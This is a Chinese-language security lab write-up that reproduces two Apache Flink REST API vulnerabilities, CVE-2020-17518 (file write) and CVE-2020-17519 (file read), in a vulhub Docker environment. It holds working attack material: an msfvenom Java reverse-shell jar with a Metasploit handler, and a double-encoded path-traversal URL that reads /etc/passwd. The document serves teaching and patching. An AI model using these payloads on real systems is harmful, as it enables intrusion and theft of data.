本文首發於“合天網安實驗室” 作者:淺墨
涉及知識點實操練習-網絡安全事件
課程:網絡安全事件(合天網安實驗室) (點擊鏈接做實驗)
“網絡安全事件”這門課程是由一些影響比較大的安全事件所模擬的測試環境組成。此課程不僅會添加以往的安全事件,而且還會緊跟時事,去添加最新的安全事件。讓大家在第一時間了解,並懂得怎么去保護自身安全為目的。
簡介
Apache Flink 是高效和分布式的通用數據處理平台,由Apache軟件基金會開發的開源流處理框架,其核心是用Java和Scala編寫的分布式流數據流引擎(簡單來說,就是跟spark類似)。Flink 具有監控 API,可用於查詢"正在運行的jobs" 和 "最近完成的jobs" 的狀態和統計信息。該監控 API 被用於 Flink 自己的dashboard,同時也可用於自定義監控工具,默認監聽在8081端口。

該監控 API 是 REST-ful API, 即接受 HTTP請求,並響應JSON格式的數據。
監控 API 中有一個API是 /jars/upload,其作用是將一個jar上傳到集群。該jar必須作為多部分數據發送。確保“ Content-Type”標頭設置為“ application / x-java-archive”,因為某些http庫默認情況下不添加標頭。可以通過curl上傳jar文件
'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" http://hostname:port/jars/upload'
概述
Flink 1.5.1引入了REST API,但其實現上存在多處缺陷,導致任意文件讀取(CVE-2020-17519)和任意文件寫入(CVE-2020-17518)漏洞。
CVE-2020-17518攻擊者利用REST API,可以修改HTTP頭,將上傳的文件寫入到本地文件系統上的任意位置(Flink 1.5.1進程能訪問到的)。
CVE-2020-17519Apache Flink 1.11.0 允許攻擊者通過JobManager進程的REST API讀取JobManager本地文件系統上的任何文件(JobManager進程能訪問到的)。
影響版本
CVE-2020-17518
Apache:Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2
環境搭建
因為受到兩個漏洞影響的版本都包含了1.11.2,所以統一使用這個版本進行復現
此處利用vulhub的環境進行復現,新建docker-compose.yml
version: '2' services: flink: image: vulhub/flink:1.11.2 command: jobmanager ports: - "8081:8081" - "6123:6123"
使用docker-compose啟動該環境,執行以下命令會下載鏡像並以此鏡像啟動一個容器,映射的端口為8081和6123
docker-compose up -d
訪問http://ip:8081

漏洞復現
任意文件上傳(CVE-2020-17518)復現:
Apache Flink 1.5.1引入了REST處理程序,該處理程序允許通過經過惡意修改的HTTP HEADER將上傳的文件寫入本地文件系統上的任意位置。
訪問http://ip:8081,找到Submit New Job的Add New上傳一個jar包,jar包可以在桌面新建一個壓縮文件,將zip后綴修改為jar即可,然后抓包

抓到的請求包如下:

將請求包發送到repeater模塊進行修改,比如我這里是在/tmp目錄下新建一個文件,../是為了方便切換路徑,因為我們不知到當前的路徑是什么,所以可以使用../切換到根目錄。

查看文件是否上傳成功
docker ps查看容器

進入容器
docker exec -it CONTAINER ID /bin/bash
可以看到文件成功上傳

flink 本身是沒有鑒權的,並且它本身支持任意jar包上傳並執行,所以可以通過上傳jar包getshell
生成jar格式的馬
lhost為kali的ip,lport為kali接收shell的端口
msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar

啟動msf接收shell
msfconsole use exploit/multi/handler set payload java/shell_reverse_tcp set LHOST 192.168.74.142 set LPORT 1234 exploit
將jar包上傳后點擊上傳的包然后Submit

獲取到shell

任意文件讀取(CVE-2020-17519)復現:
Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也發布)允許攻擊者通過JobManager進程的REST接口讀取JobManager本地文件系統上的任何文件。訪問僅限於JobManager進程可訪問的文件。
比如我這里讀取/etc/下的passwd文件,%252f為/的兩次url編碼
http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

漏洞修復
官方已發布安全版本,請及時下載升級至安全版本。
https://flink.apache.org/zh/downloads.html
參考鏈接
https://github.com/vulhub/vulhub/tree/master/flink
https://www.anquanke.com/post/id/227668